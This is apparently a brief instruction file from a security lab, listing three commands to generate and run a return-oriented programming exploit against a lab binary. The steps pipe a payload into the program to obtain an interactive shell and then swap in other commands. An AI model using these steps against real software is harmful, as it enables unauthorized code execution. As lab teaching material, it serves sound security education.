Step 1: Constructing payload
$ python shell_rop_generator.py
Step 2: Executing ROP exploit
$ (cat payload.exp ; cat) | ./lab3_rop
Step 3: For executing any other command like "/bin/date" or "/bin/ls", change the exploit script and pass input to executable in the following way
$ ./lab3_rop < payload.exp